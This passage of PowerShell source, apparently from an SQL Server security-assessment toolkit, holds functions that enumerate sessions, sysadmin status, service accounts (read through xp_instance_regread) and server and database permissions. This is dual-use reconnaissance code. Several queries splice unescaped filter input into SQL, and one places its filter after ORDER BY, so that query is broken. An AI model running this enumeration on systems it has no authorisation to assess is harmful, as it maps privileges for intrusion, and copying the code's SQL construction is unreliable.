        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'PrincipalName.')]
        [string]$PrincipalName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblSessions = New-Object -TypeName System.Data.DataTable
        $null = $TblSessions.Columns.Add('ComputerName')
        $null = $TblSessions.Columns.Add('Instance')
        $null = $TblSessions.Columns.Add('PrincipalSid')
        $null = $TblSessions.Columns.Add('PrincipalName')
        $null = $TblSessions.Columns.Add('OriginalPrincipalName')
        $null = $TblSessions.Columns.Add('SessionId')
        $null = $TblSessions.Columns.Add('SessionStartTime')
        $null = $TblSessions.Columns.Add('SessionLoginTime')
        $null = $TblSessions.Columns.Add('SessionStatus')

        # Setup PrincipalName filter
        if($PrincipalName)
        {
            $PrincipalNameFilter = " and login_name like '$PrincipalName'"
        }
        else
        {
            $PrincipalNameFilter = ''
        }
    }

    Process
    {
        # Note: Tables queried by this function typically require sysadmin privileges to view sessions that aren't yours.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = " USE master;
            SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            security_id as [PrincipalSid],
            login_name as [PrincipalName],
            original_login_name as [OriginalPrincipalName],
            session_id as [SessionId],
            last_request_start_time as [SessionStartTime],
            login_time as [SessionLoginTime],
            status as [SessionStatus]
            FROM [sys].[dm_exec_sessions]
            ORDER BY status
        $PrincipalNameFilter"
        
        # Execute Query
        $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose     

        # Update sid formatting for each record
        $TblResults |
        ForEach-Object -Process {
            # Format principal sid
            $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
            if ($NewSid.length -le 10)
            {
                $Sid = [Convert]::ToInt32($NewSid,16)
            }
            else
            {
                $Sid = $NewSid
            }

            # Add results to table
            $null = $TblSessions.Rows.Add(
                [string]$_.ComputerName,
                [string]$_.Instance,
                $Sid,
                [string]$_.PrincipalName,
                [string]$_.OriginalPrincipalName,
                [string]$_.SessionId,
                [string]$_.SessionStartTime,
                [string]$_.SessionLoginTime,
            [string]$_.SessionStatus)         
        }                        
    }

    End
    {  
        # Return data
        $TblSessions          
    }
}


# ----------------------------------
# Get-SQLSysadminCheck
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLSysadminCheck
{
    <#
            .SYNOPSIS
            Check if login is has sysadmin privilege on the target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .EXAMPLE
            PS C:\> Get-SQLSysadminCheck -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName Instance IsSysadmin
            ------------ -------- ----------
            SQLServer1 SQLServer1\STANDARDDEV2014 Yes
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcure -Verbose -NoDefaults
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Data for output
        $TblSysadminStatus = New-Object -TypeName System.Data.DataTable
        
        # Setup CredentialName filter
        if($CredentialName)
        {
            $CredentialNameFilter = " WHERE name like '$CredentialName'"
        }
        else
        {
            $CredentialNameFilter = ''
        }

    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = "SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            CASE
            WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
            ELSE 'Yes'
        END as IsSysadmin"
        
        # Execute Query
        $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

        # Append results
        $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp
    }

    End
    {  
        # Return data
        $TblSysadminStatus        
    }
}


# ----------------------------------
# Get-SQLServiceAccount
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLServiceAccount
{
    <#
            .SYNOPSIS
            Returns a list of service account names for SQL Servers services by querying the registry with xp_regread. This can be executed against remote systems.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .EXAMPLE
            PS C:\> Get-SQLServiceAccount -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DBEngineLogin : LocalSystem
            AgentLogin : NT Service\SQLAgent$STANDARDDEV2014
            BrowserLogin : NT AUTHORITY\LOCALSERVICE
            WriterLogin : LocalSystem
            AnalysisLogin : NT Service\MSOLAP$STANDARDDEV2014
            ReportLogin : NT Service\ReportServer$STANDARDDEV2014
            IntegrationLogin : NT Service\MsDtsServer120
 
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLServiceAccount -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblServiceAccount = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # Note: Tables queried by this function typically require sysadmin privileges.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Get sysadmin status
        $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin

        if($IsSysadmin -eq 'Yes')
        {
            $SysadminSetup = "
                -- Get SQL Server Browser - Static Location
                EXECUTE master.dbo.xp_instance_regread
                @rootkey = N'HKEY_LOCAL_MACHINE',
                @key = N'SYSTEM\CurrentControlSet\Services\SQLBrowser',
                @value_name = N'ObjectName',
                @value = @BrowserLogin OUTPUT
 
                -- Get SQL Server Writer - Static Location
                EXECUTE master.dbo.xp_instance_regread
                @rootkey = N'HKEY_LOCAL_MACHINE',
                @key = N'SYSTEM\CurrentControlSet\Services\SQLWriter',
                @value_name = N'ObjectName',
                @value = @WriterLogin OUTPUT
 
                -- Get MSOLAP - Calculated
                EXECUTE master.dbo.xp_instance_regread
                N'HKEY_LOCAL_MACHINE', @MSOLAPInstance,
                N'ObjectName',@AnalysisLogin OUTPUT
 
                -- Get Reporting - Calculated
                EXECUTE master.dbo.xp_instance_regread
                N'HKEY_LOCAL_MACHINE', @ReportInstance,
                N'ObjectName',@ReportLogin OUTPUT
 
                -- Get SQL Server DTS Server / Analysis - Calulated
                EXECUTE master.dbo.xp_instance_regread
                N'HKEY_LOCAL_MACHINE', @IntegrationVersion,
            N'ObjectName',@IntegrationDtsLogin OUTPUT"

            $SysadminQuery = ' ,[BrowserLogin] = @BrowserLogin,
                [WriterLogin] = @WriterLogin,
                [AnalysisLogin] = @AnalysisLogin,
                [ReportLogin] = @ReportLogin,
            [IntegrationLogin] = @IntegrationDtsLogin'
        }
        else
        {
            $SysadminSetup = ''
            $SysadminQuery = ''
        }

        # Define Query
        $Query = " -- Setup variables
            DECLARE @SQLServerInstance VARCHAR(250)
            DECLARE @MSOLAPInstance VARCHAR(250)
            DECLARE @ReportInstance VARCHAR(250)
            DECLARE @AgentInstance VARCHAR(250)
            DECLARE @IntegrationVersion VARCHAR(250)
            DECLARE @DBEngineLogin VARCHAR(100)
            DECLARE @AgentLogin VARCHAR(100)
            DECLARE @BrowserLogin VARCHAR(100)
            DECLARE @WriterLogin VARCHAR(100)
            DECLARE @AnalysisLogin VARCHAR(100)
            DECLARE @ReportLogin VARCHAR(100)
            DECLARE @IntegrationDtsLogin VARCHAR(100)
 
            -- Get Service Paths for default and name instance
            if @@SERVICENAME = 'MSSQLSERVER' or @@SERVICENAME = HOST_NAME()
            BEGIN
            -- Default instance paths
            set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
            set @MSOLAPInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLServerOLAPService'
            set @ReportInstance = 'SYSTEM\CurrentControlSet\Services\ReportServer'
            set @AgentInstance = 'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT'
            set @IntegrationVersion = 'SYSTEM\CurrentControlSet\Services\MsDtsServer'+ SUBSTRING(CAST(SERVERPROPERTY('productversion') AS VARCHAR(255)),0, 3) + '0'
            END
            ELSE
            BEGIN
            -- Named instance paths
            set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$' + cast(@@SERVICENAME as varchar(250))
            set @MSOLAPInstance = 'SYSTEM\CurrentControlSet\Services\MSOLAP$' + cast(@@SERVICENAME as varchar(250))
            set @ReportInstance = 'SYSTEM\CurrentControlSet\Services\ReportServer$' + cast(@@SERVICENAME as varchar(250))
            set @AgentInstance = 'SYSTEM\CurrentControlSet\Services\SQLAgent$' + cast(@@SERVICENAME as varchar(250))
            set @IntegrationVersion = 'SYSTEM\CurrentControlSet\Services\MsDtsServer'+ SUBSTRING(CAST(SERVERPROPERTY('productversion') AS VARCHAR(255)),0, 3) + '0'
            END
 
            -- Get SQL Server - Calculated
            EXECUTE master.dbo.xp_instance_regread
            N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
            N'ObjectName',@DBEngineLogin OUTPUT
 
            -- Get SQL Server Agent - Calculated
            EXECUTE master.dbo.xp_instance_regread
            N'HKEY_LOCAL_MACHINE', @AgentInstance,
            N'ObjectName',@AgentLogin OUTPUT
 
            $SysadminSetup
 
            -- Dislpay results
            SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            [DBEngineLogin] = @DBEngineLogin,
            [AgentLogin] = @AgentLogin
        $SysadminQuery"

        # Execute Query
        $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

        # Append results
        $TblServiceAccount = $TblServiceAccount + $TblResults        
    }

    End
    {  
        # Return data
        $TblServiceAccount         
    }
}


# ----------------------------------
# Get-SQLAuditDatabaseSpec
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLAuditDatabaseSpec
{
    <#
            .SYNOPSIS
            Returns Audit database specifications from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER AuditName
            Audit name.
            .PARAMETER AuditSpecification
            Audit specification.
            .PARAMETER AuditAction
            Audit action name.
            .EXAMPLE
            PS C:\> Get-SQLAuditDatabaseSpec -Verbose -Instance "SQLServer1"
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLAuditDatabaseSpec -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Audit name.')]
        [string]$AuditName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Specification name.')]
        [string]$AuditSpecification,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Audit action name.')]
        [string]$AuditAction,

        
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblAuditDatabaseSpec = New-Object -TypeName System.Data.DataTable

        # Setup audit name filter
        if($AuditName)
        {
            $AuditNameFilter = " and a.name like '%$AuditName%'"
        }
        else
        {
            $AuditNameFilter = ''
        }

        # Setup spec name filter
        if($AuditSpecification)
        {
            $SpecNameFilter = " and s.name like '%$AuditSpecification%'"
        }
        else
        {
            $SpecNameFilter = ''
        }

        # Setup action name filter
        if($AuditAction)
        {
            $ActionNameFilter = " and d.audit_action_name like '%$AuditAction%'"
        }
        else
        {
            $ActionNameFilter = ''
        }
    }

    Process
    {
        # Note: Tables queried by this function typically require sysadmin privileges.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance 

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

       
        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }
        
                       
        # Define Query
        $Query = " SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            audit_id as [AuditId],
            a.name as [AuditName],
            s.name as [AuditSpecification],
            d.audit_action_id as [AuditActionId],
            d.audit_action_name as [AuditAction],
            s.is_state_enabled,
            d.is_group,
            s.create_date,
            s.modify_date,
            d.audited_result
            FROM sys.server_audits AS a
            JOIN sys.database_audit_specifications AS s
            ON a.audit_guid = s.audit_guid
            JOIN sys.database_audit_specification_details AS d
            ON s.database_specification_id = d.database_specification_id WHERE 1=1
            $AuditNameFilter
            $SpecNameFilter
        $ActionNameFilter"

        # Execute Query
        $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose

        # Append results
        $TblAuditDatabaseSpec = $TblAuditDatabaseSpec + $TblResults      
    }

    End
    {  
        # Return data
        $TblAuditDatabaseSpec        
    }
}


# ----------------------------------
# Get-SQLAuditServerSpec
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLAuditServerSpec
{
    <#
            .SYNOPSIS
            Returns Audit server specifications from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER AuditName
            Audit name.
            .PARAMETER AuditSpecification
            Audit specification.
            .PARAMETER AuditAction
            Audit action name.
            .EXAMPLE
            PS C:\> Get-SQLAuditServerSpec -Verbose -Instance "SQLServer1"
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLAuditServerSpec -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Audit name.')]
        [string]$AuditName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Specification name.')]
        [string]$AuditSpecification,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Audit action name.')]
        [string]$AuditAction,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblAuditServerSpec = New-Object -TypeName System.Data.DataTable

        # Setup audit name filter
        if($AuditName)
        {
            $AuditNameFilter = " and a.name like '%$AuditName%'"
        }
        else
        {
            $AuditNameFilter = ''
        }

        # Setup spec name filter
        if($AuditSpecification)
        {
            $SpecNameFilter = " and s.name like '%$AuditSpecification%'"
        }
        else
        {
            $SpecNameFilter = ''
        }

        # Setup action name filter
        if($AuditAction)
        {
            $ActionNameFilter = " and d.audit_action_name like '%$AuditAction%'"
        }
        else
        {
            $ActionNameFilter = ''
        }
    }

    Process
    {
        # Note: Tables queried by this function typically require sysadmin privileges.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance 

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = " SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            audit_id as [AuditId],
            a.name as [AuditName],
            s.name as [AuditSpecification],
            d.audit_action_name as [AuditAction],
            s.is_state_enabled,
            d.is_group,
            d.audit_action_id as [AuditActionId],
            s.create_date,
            s.modify_date
            FROM sys.server_audits AS a
            JOIN sys.server_audit_specifications AS s
            ON a.audit_guid = s.audit_guid
            JOIN sys.server_audit_specification_details AS d
            ON s.server_specification_id = d.server_specification_id WHERE 1=1
            $AuditNameFilter
            $SpecNameFilter
        $ActionNameFilter"

        # Execute Query
        $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose

        # Append results
        $TblAuditServerSpec  = $TblAuditServerSpec  + $TblResults       
    }

    End
    {  
        # Return data
        $TblAuditServerSpec           
    }
}


# ----------------------------------
# Get-SQLServerPriv
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLServerPriv 
{
    <#
            .SYNOPSIS
            Returns SQL Server login privilege information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER PermissionName
            Permission name to filter for.
            .EXAMPLE
            PS C:\> Get-SQLServerPriv -Instance SQLServer1\STANDARDDEV2014 -PermissionName IMPERSONATE
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            GranteeName : public
            GrantorName : sa
            PermissionClass : SERVER_PRINCIPAL
            PermissionName : IMPERSONATE
            PermissionState : GRANT
            ObjectName : sa
            ObjectType : SQL_LOGIN
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLServerPriv -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,
        
        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Permission name.')]
        [string]$PermissionName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblServerPrivs = New-Object -TypeName System.Data.DataTable

        # Setup $PermissionName filter
        if($PermissionName)
        {
            $PermissionNameFilter = " WHERE PER.permission_name like '$PermissionName'"
        }
        else
        {
            $PermissionNameFilter = ''
        }
    }

    Process
    {
        # Note: Tables queried by this function typically require sysadmin privileges to get all rows.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = " SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            GRE.name as [GranteeName],
            GRO.name as [GrantorName],
            PER.class_desc as [PermissionClass],
            PER.permission_name as [PermissionName],
            PER.state_desc as [PermissionState],
            COALESCE(PRC.name, EP.name, N'') as [ObjectName],
            COALESCE(PRC.type_desc, EP.type_desc, N'') as [ObjectType]
            FROM [sys].[server_permissions] as PER
            INNER JOIN sys.server_principals as GRO
            ON PER.grantor_principal_id = GRO.principal_id
            INNER JOIN sys.server_principals as GRE
            ON PER.grantee_principal_id = GRE.principal_id
            LEFT JOIN sys.server_principals as PRC
            ON PER.class = 101 AND PER.major_id = PRC.principal_id
            LEFT JOIN sys.endpoints AS EP
            ON PER.class = 105 AND PER.major_id = EP.endpoint_id
            $PermissionNameFilter
        ORDER BY GranteeName,PermissionName;"

        # Execute Query
        $TblServerPrivsTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

        # Append data as needed
        $TblServerPrivs = $TblServerPrivs + $TblServerPrivsTemp
    }

    End
    {  
        # Return data
        $TblServerPrivs           
    }
}


# ----------------------------------
# Get-SQLDatabasePriv
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLDatabasePriv 
{
    <#
            .SYNOPSIS
            Returns database user privilege information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER NoDefaults
            Only select non default databases.
            .PARAMETER PermissionName
            Permission name to filter for.
            .PARAMETER PermissionType
            Permission type name to filter for.
            .PARAMETER PrincipalName
            Principal name to filter for.
            .EXAMPLE
            PS C:\> Get-SQLDatabasePriv -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -PermissionName "VIEW DEFINITION"
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            PrincipalName : createprocuser
            PrincipalType : SQL_USER
            PermissionType : SCHEMA
            PermissionName : VIEW DEFINITION
            StateDescription : GRANT
            ObjectType : SCHEMA
            ObjectName : dbo
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLDatabasePriv -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,                
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server database name to filter for.')]
        [string]$DatabaseName,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Permission name to filter for.')]
        [string]$PermissionName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Permission type to filter for.')]
        [string]$PermissionType,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Principal name for grantee to filter for.')]
        [string]$PrincipalName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = "Don't select permissions for default databases.")]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblDatabasePrivs = New-Object -TypeName System.Data.DataTable

        # Setup PermissionName filter
        if($PermissionName)
        {
            $PermissionNameFilter = " and pm.permission_name like '$PermissionName'"
        }
        else
        {
            $PermissionNameFilter = ''
        }
        
        # Setup PermissionName filter
        if($PrincipalName)
        {
            $PrincipalNameFilter = " and rp.name like '$PrincipalName'"
        }
        else
        {
            $PrincipalNameFilter = ''
        }

        # Setup PermissionType filter
        if($PermissionType)
        {
            $PermissionTypeFilter = " and pm.class_desc like '$PermissionType'"
        }
        else
        {
            $PermissionTypeFilter = ''
        }
    }

    Process
    {   
        # Note: Tables queried by this function typically require sysadmin privileges.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Setup NoDefault filter
        if($NoDefaults)
        {
            # Get list of databases
